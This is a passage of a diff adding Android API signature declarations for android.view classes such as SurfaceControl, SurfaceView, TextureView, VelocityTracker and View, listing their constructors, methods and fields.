+    ctor public Surface.OutOfResourcesException(String);
+  }
+
+  public final class SurfaceControl implements android.os.Parcelable {
+    method public int describeContents();
+    method public boolean isValid();
+    method public void readFromParcel(android.os.Parcel);
+    method public void release();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.SurfaceControl> CREATOR;
+  }
+
+  public static class SurfaceControl.Builder {
+    ctor public SurfaceControl.Builder();
+    method @NonNull public android.view.SurfaceControl build();
+    method @NonNull public android.view.SurfaceControl.Builder setBufferSize(@IntRange(from=0) int, @IntRange(from=0) int);
+    method @NonNull public android.view.SurfaceControl.Builder setFormat(int);
+    method @NonNull public android.view.SurfaceControl.Builder setName(@NonNull String);
+    method @NonNull public android.view.SurfaceControl.Builder setOpaque(boolean);
+    method @NonNull public android.view.SurfaceControl.Builder setParent(@Nullable android.view.SurfaceControl);
+  }
+
+  public static class SurfaceControl.Transaction implements java.io.Closeable android.os.Parcelable {
+    ctor public SurfaceControl.Transaction();
+    method public void apply();
+    method public void close();
+    method public int describeContents();
+    method @NonNull public android.view.SurfaceControl.Transaction merge(@NonNull android.view.SurfaceControl.Transaction);
+    method @NonNull public android.view.SurfaceControl.Transaction reparent(@NonNull android.view.SurfaceControl, @Nullable android.view.SurfaceControl);
+    method @NonNull public android.view.SurfaceControl.Transaction setAlpha(@NonNull android.view.SurfaceControl, @FloatRange(from=0.0, to=1.0) float);
+    method @NonNull public android.view.SurfaceControl.Transaction setBufferSize(@NonNull android.view.SurfaceControl, @IntRange(from=0) int, @IntRange(from=0) int);
+    method @NonNull public android.view.SurfaceControl.Transaction setFrameRate(@NonNull android.view.SurfaceControl, @FloatRange(from=0.0) float, int);
+    method @NonNull public android.view.SurfaceControl.Transaction setFrameRate(@NonNull android.view.SurfaceControl, @FloatRange(from=0.0) float, int, int);
+    method @NonNull public android.view.SurfaceControl.Transaction setGeometry(@NonNull android.view.SurfaceControl, @Nullable android.graphics.Rect, @Nullable android.graphics.Rect, int);
+    method @NonNull public android.view.SurfaceControl.Transaction setLayer(@NonNull android.view.SurfaceControl, @IntRange(from=java.lang.Integer.MIN_VALUE, to=java.lang.Integer.MAX_VALUE) int);
+    method @NonNull public android.view.SurfaceControl.Transaction setVisibility(@NonNull android.view.SurfaceControl, boolean);
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.SurfaceControl.Transaction> CREATOR;
+  }
+
+  public class SurfaceControlViewHost {
+    ctor public SurfaceControlViewHost(@NonNull android.content.Context, @NonNull android.view.Display, @Nullable android.os.IBinder);
+    method @Nullable public android.view.SurfaceControlViewHost.SurfacePackage getSurfacePackage();
+    method @Nullable public android.view.View getView();
+    method public void relayout(int, int);
+    method public void release();
+    method public void setView(@NonNull android.view.View, int, int);
+  }
+
+  public static final class SurfaceControlViewHost.SurfacePackage implements android.os.Parcelable {
+    ctor public SurfaceControlViewHost.SurfacePackage(@NonNull android.view.SurfaceControlViewHost.SurfacePackage);
+    method public int describeContents();
+    method public void release();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.SurfaceControlViewHost.SurfacePackage> CREATOR;
+  }
+
+  public interface SurfaceHolder {
+    method public void addCallback(android.view.SurfaceHolder.Callback);
+    method public android.view.Surface getSurface();
+    method public android.graphics.Rect getSurfaceFrame();
+    method public boolean isCreating();
+    method public android.graphics.Canvas lockCanvas();
+    method public android.graphics.Canvas lockCanvas(android.graphics.Rect);
+    method public default android.graphics.Canvas lockHardwareCanvas();
+    method public void removeCallback(android.view.SurfaceHolder.Callback);
+    method public void setFixedSize(int, int);
+    method public void setFormat(int);
+    method public void setKeepScreenOn(boolean);
+    method public void setSizeFromLayout();
+    method @Deprecated public void setType(int);
+    method public void unlockCanvasAndPost(android.graphics.Canvas);
+    field @Deprecated public static final int SURFACE_TYPE_GPU = 2; // 0x2
+    field @Deprecated public static final int SURFACE_TYPE_HARDWARE = 1; // 0x1
+    field @Deprecated public static final int SURFACE_TYPE_NORMAL = 0; // 0x0
+    field @Deprecated public static final int SURFACE_TYPE_PUSH_BUFFERS = 3; // 0x3
+  }
+
+  public static class SurfaceHolder.BadSurfaceTypeException extends java.lang.RuntimeException {
+    ctor public SurfaceHolder.BadSurfaceTypeException();
+    ctor public SurfaceHolder.BadSurfaceTypeException(String);
+  }
+
+  public static interface SurfaceHolder.Callback {
+    method public void surfaceChanged(@NonNull android.view.SurfaceHolder, int, @IntRange(from=0) int, @IntRange(from=0) int);
+    method public void surfaceCreated(@NonNull android.view.SurfaceHolder);
+    method public void surfaceDestroyed(@NonNull android.view.SurfaceHolder);
+  }
+
+  public static interface SurfaceHolder.Callback2 extends android.view.SurfaceHolder.Callback {
+    method public void surfaceRedrawNeeded(@NonNull android.view.SurfaceHolder);
+    method public default void surfaceRedrawNeededAsync(@NonNull android.view.SurfaceHolder, @NonNull Runnable);
+  }
+
+  public class SurfaceView extends android.view.View {
+    ctor public SurfaceView(android.content.Context);
+    ctor public SurfaceView(android.content.Context, android.util.AttributeSet);
+    ctor public SurfaceView(android.content.Context, android.util.AttributeSet, int);
+    ctor public SurfaceView(android.content.Context, android.util.AttributeSet, int, int);
+    method public android.view.SurfaceHolder getHolder();
+    method @Nullable public android.os.IBinder getHostToken();
+    method public android.view.SurfaceControl getSurfaceControl();
+    method public void setChildSurfacePackage(@NonNull android.view.SurfaceControlViewHost.SurfacePackage);
+    method public void setSecure(boolean);
+    method public void setZOrderMediaOverlay(boolean);
+    method public void setZOrderOnTop(boolean);
+  }
+
+  public class TextureView extends android.view.View {
+    ctor public TextureView(@NonNull android.content.Context);
+    ctor public TextureView(@NonNull android.content.Context, @Nullable android.util.AttributeSet);
+    ctor public TextureView(@NonNull android.content.Context, @Nullable android.util.AttributeSet, int);
+    ctor public TextureView(@NonNull android.content.Context, @Nullable android.util.AttributeSet, int, int);
+    method public final void draw(android.graphics.Canvas);
+    method @Nullable public android.graphics.Bitmap getBitmap();
+    method @Nullable public android.graphics.Bitmap getBitmap(int, int);
+    method @NonNull public android.graphics.Bitmap getBitmap(@NonNull android.graphics.Bitmap);
+    method @Nullable public android.graphics.SurfaceTexture getSurfaceTexture();
+    method @Nullable public android.view.TextureView.SurfaceTextureListener getSurfaceTextureListener();
+    method @NonNull public android.graphics.Matrix getTransform(@Nullable android.graphics.Matrix);
+    method public boolean isAvailable();
+    method @Nullable public android.graphics.Canvas lockCanvas();
+    method @Nullable public android.graphics.Canvas lockCanvas(@Nullable android.graphics.Rect);
+    method protected final void onDraw(android.graphics.Canvas);
+    method public void setBackgroundDrawable(android.graphics.drawable.Drawable);
+    method public void setOpaque(boolean);
+    method public void setSurfaceTexture(@NonNull android.graphics.SurfaceTexture);
+    method public void setSurfaceTextureListener(@Nullable android.view.TextureView.SurfaceTextureListener);
+    method public void setTransform(@Nullable android.graphics.Matrix);
+    method public void unlockCanvasAndPost(@NonNull android.graphics.Canvas);
+  }
+
+  public static interface TextureView.SurfaceTextureListener {
+    method public void onSurfaceTextureAvailable(@NonNull android.graphics.SurfaceTexture, int, int);
+    method public boolean onSurfaceTextureDestroyed(@NonNull android.graphics.SurfaceTexture);
+    method public void onSurfaceTextureSizeChanged(@NonNull android.graphics.SurfaceTexture, int, int);
+    method public void onSurfaceTextureUpdated(@NonNull android.graphics.SurfaceTexture);
+  }
+
+  public class TouchDelegate {
+    ctor public TouchDelegate(android.graphics.Rect, android.view.View);
+    method @NonNull public android.view.accessibility.AccessibilityNodeInfo.TouchDelegateInfo getTouchDelegateInfo();
+    method public boolean onTouchEvent(@NonNull android.view.MotionEvent);
+    method public boolean onTouchExplorationHoverEvent(@NonNull android.view.MotionEvent);
+    field public static final int ABOVE = 1; // 0x1
+    field public static final int BELOW = 2; // 0x2
+    field public static final int TO_LEFT = 4; // 0x4
+    field public static final int TO_RIGHT = 8; // 0x8
+  }
+
+  public final class VelocityTracker {
+    method public void addMovement(android.view.MotionEvent);
+    method public void clear();
+    method public void computeCurrentVelocity(int);
+    method public void computeCurrentVelocity(int, float);
+    method public float getXVelocity();
+    method public float getXVelocity(int);
+    method public float getYVelocity();
+    method public float getYVelocity(int);
+    method public static android.view.VelocityTracker obtain();
+    method public void recycle();
+  }
+
+  public abstract class VerifiedInputEvent implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getDeviceId();
+    method public int getDisplayId();
+    method public long getEventTimeNanos();
+    method public int getSource();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.VerifiedInputEvent> CREATOR;
+  }
+
+  public final class VerifiedKeyEvent extends android.view.VerifiedInputEvent implements android.os.Parcelable {
+    method public int getAction();
+    method public long getDownTimeNanos();
+    method @Nullable public Boolean getFlag(int);
+    method public int getKeyCode();
+    method public int getMetaState();
+    method public int getRepeatCount();
+    method public int getScanCode();
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.VerifiedKeyEvent> CREATOR;
+  }
+
+  public final class VerifiedMotionEvent extends android.view.VerifiedInputEvent implements android.os.Parcelable {
+    method public int getActionMasked();
+    method public int getButtonState();
+    method public long getDownTimeNanos();
+    method @Nullable public Boolean getFlag(int);
+    method public int getMetaState();
+    method public float getRawX();
+    method public float getRawY();
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.VerifiedMotionEvent> CREATOR;
+  }
+
+  @UiThread public class View implements android.view.accessibility.AccessibilityEventSource android.graphics.drawable.Drawable.Callback android.view.KeyEvent.Callback {
+    ctor public View(android.content.Context);
+    ctor public View(android.content.Context, @Nullable android.util.AttributeSet);
+    ctor public View(android.content.Context, @Nullable android.util.AttributeSet, int);
+    ctor public View(android.content.Context, @Nullable android.util.AttributeSet, int, int);
+    method public void addChildrenForAccessibility(java.util.ArrayList<android.view.View>);
+    method public void addExtraDataToAccessibilityNodeInfo(@NonNull android.view.accessibility.AccessibilityNodeInfo, @NonNull String, @Nullable android.os.Bundle);
+    method public void addFocusables(java.util.ArrayList<android.view.View>, int);
+    method public void addFocusables(java.util.ArrayList<android.view.View>, int, int);
+    method public void addKeyboardNavigationClusters(@NonNull java.util.Collection<android.view.View>, int);
+    method public void addOnAttachStateChangeListener(android.view.View.OnAttachStateChangeListener);
+    method public void addOnLayoutChangeListener(android.view.View.OnLayoutChangeListener);
+    method public void addOnUnhandledKeyEventListener(android.view.View.OnUnhandledKeyEventListener);
+    method public void addTouchables(java.util.ArrayList<android.view.View>);
+    method public android.view.ViewPropertyAnimator animate();
+    method public void announceForAccessibility(CharSequence);
+    method public void autofill(android.view.autofill.AutofillValue);
+    method public void autofill(@NonNull android.util.SparseArray<android.view.autofill.AutofillValue>);
+    method protected boolean awakenScrollBars();
+    method protected boolean awakenScrollBars(int);
+    method protected boolean awakenScrollBars(int, boolean);
+    method public void bringToFront();
+    method @Deprecated public void buildDrawingCache();
+    method @Deprecated public void buildDrawingCache(boolean);
+    method public void buildLayer();
+    method public boolean callOnClick();
+    method public boolean canResolveLayoutDirection();
+    method public boolean canResolveTextAlignment();
+    method public boolean canResolveTextDirection();
+    method public boolean canScrollHorizontally(int);
+    method public boolean canScrollVertically(int);
+    method public final void cancelDragAndDrop();
+    method public void cancelLongPress();
+    method public final void cancelPendingInputEvents();
+    method public boolean checkInputConnectionProxy(android.view.View);
+    method public void clearAnimation();
+    method public void clearFocus();
+    method public void clearViewTranslationCallback();
+    method public static int combineMeasuredStates(int, int);
+    method protected int computeHorizontalScrollExtent();
+    method protected int computeHorizontalScrollOffset();
+    method protected int computeHorizontalScrollRange();
+    method public void computeScroll();
+    method public android.view.WindowInsets computeSystemWindowInsets(android.view.WindowInsets, android.graphics.Rect);
+    method protected int computeVerticalScrollExtent();
+    method protected int computeVerticalScrollOffset();
+    method protected int computeVerticalScrollRange();
+    method public android.view.accessibility.AccessibilityNodeInfo createAccessibilityNodeInfo();
+    method public void createContextMenu(android.view.ContextMenu);
+    method @Deprecated public void destroyDrawingCache();
+    method public android.view.WindowInsets dispatchApplyWindowInsets(android.view.WindowInsets);
+    method public boolean dispatchCapturedPointerEvent(android.view.MotionEvent);
+    method public void dispatchConfigurationChanged(android.content.res.Configuration);
+    method public void dispatchCreateViewTranslationRequest(@NonNull java.util.Map<android.view.autofill.AutofillId,long[]>, @NonNull int[], @NonNull android.view.translation.TranslationCapability, @NonNull java.util.List<android.view.translation.ViewTranslationRequest>);
+    method public void dispatchDisplayHint(int);
+    method public boolean dispatchDragEvent(android.view.DragEvent);
+    method protected void dispatchDraw(android.graphics.Canvas);
+    method public void dispatchDrawableHotspotChanged(float, float);
+    method @CallSuper public void dispatchFinishTemporaryDetach();
+    method protected boolean dispatchGenericFocusedEvent(android.view.MotionEvent);
+    method public boolean dispatchGenericMotionEvent(android.view.MotionEvent);
+    method protected boolean dispatchGenericPointerEvent(android.view.MotionEvent);
+    method protected boolean dispatchHoverEvent(android.view.MotionEvent);
+    method public boolean dispatchKeyEvent(android.view.KeyEvent);
+    method public boolean dispatchKeyEventPreIme(android.view.KeyEvent);
+    method public boolean dispatchKeyShortcutEvent(android.view.KeyEvent);
+    method public boolean dispatchNestedFling(float, float, boolean);
+    method public boolean dispatchNestedPreFling(float, float);
+    method public boolean dispatchNestedPrePerformAccessibilityAction(int, android.os.Bundle);
+    method public boolean dispatchNestedPreScroll(int, int, @Nullable @Size(2) int[], @Nullable @Size(2) int[]);
+    method public boolean dispatchNestedScroll(int, int, int, int, @Nullable @Size(2) int[]);
+    method public void dispatchPointerCaptureChanged(boolean);
+    method public boolean dispatchPopulateAccessibilityEvent(android.view.accessibility.AccessibilityEvent);
+    method public void dispatchProvideAutofillStructure(@NonNull android.view.ViewStructure, int);
+    method public void dispatchProvideStructure(android.view.ViewStructure);
+    method protected void dispatchRestoreInstanceState(android.util.SparseArray<android.os.Parcelable>);
+    method protected void dispatchSaveInstanceState(android.util.SparseArray<android.os.Parcelable>);
+    method public void dispatchScrollCaptureSearch(@NonNull android.graphics.Rect, @NonNull android.graphics.Point, @NonNull java.util.function.Consumer<android.view.ScrollCaptureTarget>);
+    method protected void dispatchSetActivated(boolean);
+    method protected void dispatchSetPressed(boolean);
+    method protected void dispatchSetSelected(boolean);
+    method @CallSuper public void dispatchStartTemporaryDetach();
+    method @Deprecated public void dispatchSystemUiVisibilityChanged(int);
+    method public boolean dispatchTouchEvent(android.view.MotionEvent);
+    method public boolean dispatchTrackballEvent(android.view.MotionEvent);
+    method public boolean dispatchUnhandledMove(android.view.View, int);
+    method protected void dispatchVisibilityChanged(@NonNull android.view.View, int);
+    method public void dispatchWindowFocusChanged(boolean);
+    method public void dispatchWindowInsetsAnimationEnd(@NonNull android.view.WindowInsetsAnimation);
+    method public void dispatchWindowInsetsAnimationPrepare(@NonNull android.view.WindowInsetsAnimation);
+    method @NonNull public android.view.WindowInsets dispatchWindowInsetsAnimationProgress(@NonNull android.view.WindowInsets, @NonNull java.util.List<android.view.WindowInsetsAnimation>);
+    method @NonNull public android.view.WindowInsetsAnimation.Bounds dispatchWindowInsetsAnimationStart(@NonNull android.view.WindowInsetsAnimation, @NonNull android.view.WindowInsetsAnimation.Bounds);
+    method @Deprecated public void dispatchWindowSystemUiVisiblityChanged(int);
+    method public void dispatchWindowVisibilityChanged(int);
+    method @CallSuper public void draw(android.graphics.Canvas);
+    method @CallSuper public void drawableHotspotChanged(float, float);
+    method @CallSuper protected void drawableStateChanged();
+    method public android.view.View findFocus();
+    method public final <T extends android.view.View> T findViewById(@IdRes int);
+    method public final <T extends android.view.View> T findViewWithTag(Object);
+    method public void findViewsWithText(java.util.ArrayList<android.view.View>, CharSequence, int);
+    method @Deprecated protected boolean fitSystemWindows(android.graphics.Rect);
+    method public android.view.View focusSearch(int);
+    method public void forceHasOverlappingRendering(boolean);
+    method public void forceLayout();
+    method public boolean gatherTransparentRegion(@Nullable android.graphics.Region);
+    method public void generateDisplayHash(@NonNull String, @Nullable android.graphics.Rect, @NonNull java.util.concurrent.Executor, @NonNull android.view.displayhash.DisplayHashResultCallback);
+    method public static int generateViewId();
+    method public CharSequence getAccessibilityClassName();
+    method public android.view.View.AccessibilityDelegate getAccessibilityDelegate();
+    method public int getAccessibilityLiveRegion();
+    method public android.view.accessibility.AccessibilityNodeProvider getAccessibilityNodeProvider();
+    method @Nullable public CharSequence getAccessibilityPaneTitle();
+    method @IdRes public int getAccessibilityTraversalAfter();
+    method @IdRes public int getAccessibilityTraversalBefore();
+    method public float getAlpha();
+    method public android.view.animation.Animation getAnimation();
+    method @Nullable public android.graphics.Matrix getAnimationMatrix();
+    method public android.os.IBinder getApplicationWindowToken();
+    method @NonNull public int[] getAttributeResolutionStack(@AttrRes int);
+    method @NonNull public java.util.Map<java.lang.Integer,java.lang.Integer> getAttributeSourceResourceMap();
+    method @Nullable public String[] getAutofillHints();
+    method public final android.view.autofill.AutofillId getAutofillId();
+    method public int getAutofillType();
+    method @Nullable public android.view.autofill.AutofillValue getAutofillValue();
+    method public android.graphics.drawable.Drawable getBackground();
+    method @Nullable public android.graphics.BlendMode getBackgroundTintBlendMode();
+    method @Nullable public android.content.res.ColorStateList getBackgroundTintList();
+    method @Nullable public android.graphics.PorterDuff.Mode getBackgroundTintMode();
+    method public int getBaseline();
+    method public final int getBottom();
+    method protected float getBottomFadingEdgeStrength();
+    method protected int getBottomPaddingOffset();
+    method public float getCameraDistance();
+    method public android.graphics.Rect getClipBounds();
+    method public boolean getClipBounds(android.graphics.Rect);
+    method public final boolean getClipToOutline();
+    method @Nullable public final android.view.contentcapture.ContentCaptureSession getContentCaptureSession();
+    method public CharSequence getContentDescription();
+    method @UiContext public final android.content.Context getContext();
+    method protected android.view.ContextMenu.ContextMenuInfo getContextMenuInfo();
+    method public final boolean getDefaultFocusHighlightEnabled();
+    method public static int getDefaultSize(int, int);
+    method public android.view.Display getDisplay();
+    method public final int[] getDrawableState();
+    method @Deprecated public android.graphics.Bitmap getDrawingCache();
+    method @Deprecated public android.graphics.Bitmap getDrawingCache(boolean);
+    method @Deprecated @ColorInt public int getDrawingCacheBackgroundColor();
+    method @Deprecated public int getDrawingCacheQuality();
+    method public void getDrawingRect(android.graphics.Rect);
+    method public long getDrawingTime();
+    method public float getElevation();
+    method @StyleRes public int getExplicitStyle();
+    method public boolean getFilterTouchesWhenObscured();
+    method public boolean getFitsSystemWindows();
+    method public int getFocusable();
+    method public java.util.ArrayList<android.view.View> getFocusables(int);
+    method public void getFocusedRect(android.graphics.Rect);
+    method public android.graphics.drawable.Drawable getForeground();
+    method public int getForegroundGravity();
+    method @Nullable public android.graphics.BlendMode getForegroundTintBlendMode();
+    method @Nullable public android.content.res.ColorStateList getForegroundTintList();
+    method @Nullable public android.graphics.PorterDuff.Mode getForegroundTintMode();
+    method public boolean getGlobalVisibleRect(android.graphics.Rect, android.graphics.Point);
+    method public final boolean getGlobalVisibleRect(android.graphics.Rect);
+    method public android.os.Handler getHandler();
+    method public final boolean getHasOverlappingRendering();
+    method public final int getHeight();
+    method public void getHitRect(android.graphics.Rect);
+    method public int getHorizontalFadingEdgeLength();
+    method protected int getHorizontalScrollbarHeight();
+    method @Nullable public android.graphics.drawable.Drawable getHorizontalScrollbarThumbDrawable();
+    method @Nullable public android.graphics.drawable.Drawable getHorizontalScrollbarTrackDrawable();
+    method @IdRes public int getId();
+    method public int getImportantForAccessibility();
+    method public int getImportantForAutofill();
+    method public int getImportantForContentCapture();
+    method public boolean getKeepScreenOn();
+    method public android.view.KeyEvent.DispatcherState getKeyDispatcherState();
+    method @IdRes public int getLabelFor();
+    method public int getLayerType();
+    method public int getLayoutDirection();
+    method public android.view.ViewGroup.LayoutParams getLayoutParams();
+    method public final int getLeft();
+    method protected float getLeftFadingEdgeStrength();
+    method protected int getLeftPaddingOffset();
+    method public final boolean getLocalVisibleRect(android.graphics.Rect);
+    method public void getLocationInSurface(@NonNull @Size(2) int[]);
+    method public void getLocationInWindow(@Size(2) int[]);
+    method public void getLocationOnScreen(@Size(2) int[]);
+    method public android.graphics.Matrix getMatrix();
+    method public final int getMeasuredHeight();
+    method public final int getMeasuredHeightAndState();
+    method public final int getMeasuredState();
+    method public final int getMeasuredWidth();
+    method public final int getMeasuredWidthAndState();
+    method public int getMinimumHeight();
+    method public int getMinimumWidth();
+    method @IdRes public int getNextClusterForwardId();
+    method @IdRes public int getNextFocusDownId();
+    method @IdRes public int getNextFocusForwardId();
+    method @IdRes public int getNextFocusLeftId();
+    method @IdRes public int getNextFocusRightId();
+    method @IdRes public int getNextFocusUpId();
+    method public android.view.View.OnFocusChangeListener getOnFocusChangeListener();
+    method @ColorInt public int getOutlineAmbientShadowColor();
+    method public android.view.ViewOutlineProvider getOutlineProvider();
+    method @ColorInt public int getOutlineSpotShadowColor();
+    method public int getOverScrollMode();
+    method public android.view.ViewOverlay getOverlay();
+    method public int getPaddingBottom();
+    method public int getPaddingEnd();
+    method public int getPaddingLeft();
+    method public int getPaddingRight();
+    method public int getPaddingStart();
+    method public int getPaddingTop();
+    method public final android.view.ViewParent getParent();
+    method public android.view.ViewParent getParentForAccessibility();
+    method public float getPivotX();
+    method public float getPivotY();
+    method public android.view.PointerIcon getPointerIcon();
+    method @Nullable public String[] getReceiveContentMimeTypes();
+    method public android.content.res.Resources getResources();
+    method public final boolean getRevealOnFocusHint();
+    method public final int getRight();
+    method protected float getRightFadingEdgeStrength();
+    method protected int getRightPaddingOffset();
+    method @Nullable public android.view.AttachedSurfaceControl getRootSurfaceControl();
+    method public android.view.View getRootView();
+    method public android.view.WindowInsets getRootWindowInsets();
+    method public float getRotation();
+    method public float getRotationX();
+    method public float getRotationY();
+    method public float getScaleX();
+    method public float getScaleY();
+    method public int getScrollBarDefaultDelayBeforeFade();
+    method public int getScrollBarFadeDuration();
+    method public int getScrollBarSize();
+    method public int getScrollBarStyle();
+    method public int getScrollCaptureHint();
+    method public int getScrollIndicators();
+    method public final int getScrollX();
+    method public final int getScrollY();
+    method @ColorInt public int getSolidColor();
+    method @LayoutRes public int getSourceLayoutResId();
+    method @Nullable public final CharSequence getStateDescription();
+    method public android.animation.StateListAnimator getStateListAnimator();
+    method protected int getSuggestedMinimumHeight();
+    method protected int getSuggestedMinimumWidth();
+    method @NonNull public java.util.List<android.graphics.Rect> getSystemGestureExclusionRects();
+    method @Deprecated public int getSystemUiVisibility();
+    method public Object getTag();
+    method public Object getTag(int);
+    method public int getTextAlignment();
+    method public int getTextDirection();
+    method @Nullable public CharSequence getTooltipText();
+    method public final int getTop();
+    method protected float getTopFadingEdgeStrength();
+    method protected int getTopPaddingOffset();
+    method public android.view.TouchDelegate getTouchDelegate();
+    method public java.util.ArrayList<android.view.View> getTouchables();
+    method public float getTransitionAlpha();
+    method public String getTransitionName();
+    method public float getTranslationX();
+    method public float getTranslationY();
+    method public float getTranslationZ();
+    method public long getUniqueDrawingId();
+    method public int getVerticalFadingEdgeLength();
+    method public int getVerticalScrollbarPosition();
+    method @Nullable public android.graphics.drawable.Drawable getVerticalScrollbarThumbDrawable();
+    method @Nullable public android.graphics.drawable.Drawable getVerticalScrollbarTrackDrawable();
+    method public int getVerticalScrollbarWidth();
+    method @Nullable public android.view.translation.ViewTranslationResponse getViewTranslationResponse();
+    method public android.view.ViewTreeObserver getViewTreeObserver();
+    method public int getVisibility();
+    method public final int getWidth();
+    method protected int getWindowAttachCount();
+    method public android.view.WindowId getWindowId();
+    method @Nullable public android.view.WindowInsetsController getWindowInsetsController();
+    method @Deprecated public int getWindowSystemUiVisibility();
+    method public android.os.IBinder getWindowToken();
+    method public int getWindowVisibility();
+    method public void getWindowVisibleDisplayFrame(android.graphics.Rect);
+    method public float getX();
+    method public float getY();
+    method public float getZ();
+    method public boolean hasExplicitFocusable();
+    method public boolean hasFocus();
+    method public boolean hasFocusable();
+    method public boolean hasNestedScrollingParent();
+    method public boolean hasOnClickListeners();
+    method public boolean hasOnLongClickListeners();
+    method public boolean hasOverlappingRendering();
+    method public boolean hasPointerCapture();
+    method public boolean hasTransientState();
+    method public boolean hasWindowFocus();
+    method public static android.view.View inflate(android.content.Context, @LayoutRes int, android.view.ViewGroup);
+    method @Deprecated public void invalidate(android.graphics.Rect);
+    method @Deprecated public void invalidate(int, int, int, int);
+    method public void invalidate();
+    method public void invalidateDrawable(@NonNull android.graphics.drawable.Drawable);
+    method public void invalidateOutline();
+    method public boolean isAccessibilityFocused();
+    method public boolean isAccessibilityHeading();
+    method public boolean isActivated();
+    method public boolean isAttachedToWindow();
+    method public boolean isClickable();
+    method public boolean isContextClickable();
+    method public boolean isDirty();
+    method @Deprecated public boolean isDrawingCacheEnabled();
+    method public boolean isDuplicateParentStateEnabled();
+    method public boolean isEnabled();
+    method public final boolean isFocusable();
+    method public final boolean isFocusableInTouchMode();
+    method public boolean isFocused();
+    method public final boolean isFocusedByDefault();
+    method public boolean isForceDarkAllowed();
+    method public boolean isHapticFeedbackEnabled();
+    method public boolean isHardwareAccelerated();
+    method public boolean isHorizontalFadingEdgeEnabled();
+    method public boolean isHorizontalScrollBarEnabled();
+    method public boolean isHovered();
+    method public boolean isImportantForAccessibility();
+    method public final boolean isImportantForAutofill();
+    method public final boolean isImportantForContentCapture();
+    method public boolean isInEditMode();
+    method public boolean isInLayout();
+    method public boolean isInTouchMode();
+    method public final boolean isKeyboardNavigationCluster();
+    method public boolean isLaidOut();
+    method public boolean isLayoutDirectionResolved();
+    method public boolean isLayoutRequested();
+    method public boolean isLongClickable();
+    method public boolean isNestedScrollingEnabled();
+    method public boolean isOpaque();
+    method protected boolean isPaddingOffsetRequired();
+    method public boolean isPaddingRelative();
+    method public boolean isPivotSet();
+    method public boolean isPressed();
+    method public boolean isSaveEnabled();
+    method public boolean isSaveFromParentEnabled();
+    method public boolean isScreenReaderFocusable();
+    method public boolean isScrollContainer();
+    method public boolean isScrollbarFadingEnabled();
+    method public boolean isSelected();
+    method public final boolean isShowingLayoutBounds();
+    method public boolean isShown();
+    method public boolean isSoundEffectsEnabled();
+    method public final boolean isTemporarilyDetached();
+    method public boolean isTextAlignmentResolved();
+    method public boolean isTextDirectionResolved();
+    method public boolean isVerticalFadingEdgeEnabled();
+    method public boolean isVerticalScrollBarEnabled();
+    method public boolean isVisibleToUserForAutofill(int);
+    method @CallSuper public void jumpDrawablesToCurrentState();
+    method public android.view.View keyboardNavigationClusterSearch(android.view.View, int);
+    method public void layout(int, int, int, int);
+    method public final void measure(int, int);
+    method protected static int[] mergeDrawableStates(int[], int[]);
+    method public void offsetLeftAndRight(int);
+    method public void offsetTopAndBottom(int);
+    method @CallSuper protected void onAnimationEnd();
+    method @CallSuper protected void onAnimationStart();
+    method public android.view.WindowInsets onApplyWindowInsets(android.view.WindowInsets);
+    method @CallSuper protected void onAttachedToWindow();
+    method public void onCancelPendingInputEvents();
+    method public boolean onCapturedPointerEvent(android.view.MotionEvent);
+    method public boolean onCheckIsTextEditor();
+    method protected void onConfigurationChanged(android.content.res.Configuration);
+    method protected void onCreateContextMenu(android.view.ContextMenu);
+    method protected int[] onCreateDrawableState(int);
+    method public android.view.inputmethod.InputConnection onCreateInputConnection(android.view.inputmethod.EditorInfo);
+    method public void onCreateViewTranslationRequest(@NonNull int[], @NonNull java.util.function.Consumer<android.view.translation.ViewTranslationRequest>);
+    method public void onCreateVirtualViewTranslationRequests(@NonNull long[], @NonNull int[], @NonNull java.util.function.Consumer<android.view.translation.ViewTranslationRequest>);
+    method @CallSuper protected void onDetachedFromWindow();
+    method protected void onDisplayHint(int);
+    method public boolean onDragEvent(android.view.DragEvent);
+    method protected void onDraw(android.graphics.Canvas);
+    method public void onDrawForeground(android.graphics.Canvas);
+    method protected final void onDrawScrollBars(android.graphics.Canvas);
+    method public boolean onFilterTouchEventForSecurity(android.view.MotionEvent);
+    method @CallSuper protected void onFinishInflate();
+    method public void onFinishTemporaryDetach();
+    method @CallSuper protected void onFocusChanged(boolean, int, @Nullable android.graphics.Rect);
+    method public boolean onGenericMotionEvent(android.view.MotionEvent);
+    method public void onHoverChanged(boolean);
+    method public boolean onHoverEvent(android.view.MotionEvent);
+    method @CallSuper public void onInitializeAccessibilityEvent(android.view.accessibility.AccessibilityEvent);
+    method @CallSuper public void onInitializeAccessibilityNodeInfo(android.view.accessibility.AccessibilityNodeInfo);
+    method public boolean onKeyDown(int, android.view.KeyEvent);
+    method public boolean onKeyLongPress(int, android.view.KeyEvent);
+    method public boolean onKeyMultiple(int, int, android.view.KeyEvent);
+    method public boolean onKeyPreIme(int, android.view.KeyEvent);
+    method public boolean onKeyShortcut(int, android.view.KeyEvent);
+    method public boolean onKeyUp(int, android.view.KeyEvent);
+    method protected void onLayout(boolean, int, int, int, int);
+    method protected void onMeasure(int, int);
+    method protected void onOverScrolled(int, int, boolean, boolean);
+    method @CallSuper public void onPointerCaptureChange(boolean);
+    method @CallSuper public void onPopulateAccessibilityEvent(android.view.accessibility.AccessibilityEvent);
+    method public void onProvideAutofillStructure(android.view.ViewStructure, int);
+    method public void onProvideAutofillVirtualStructure(android.view.ViewStructure, int);
+    method public void onProvideContentCaptureStructure(@NonNull android.view.ViewStructure, int);
+    method public void onProvideStructure(android.view.ViewStructure);
+    method public void onProvideVirtualStructure(android.view.ViewStructure);
+    method @Nullable public android.view.ContentInfo onReceiveContent(@NonNull android.view.ContentInfo);
+    method public android.view.PointerIcon onResolvePointerIcon(android.view.MotionEvent, int);
+    method @CallSuper protected void onRestoreInstanceState(android.os.Parcelable);
+    method public void onRtlPropertiesChanged(int);
+    method @CallSuper @Nullable protected android.os.Parcelable onSaveInstanceState();
+    method public void onScreenStateChanged(int);
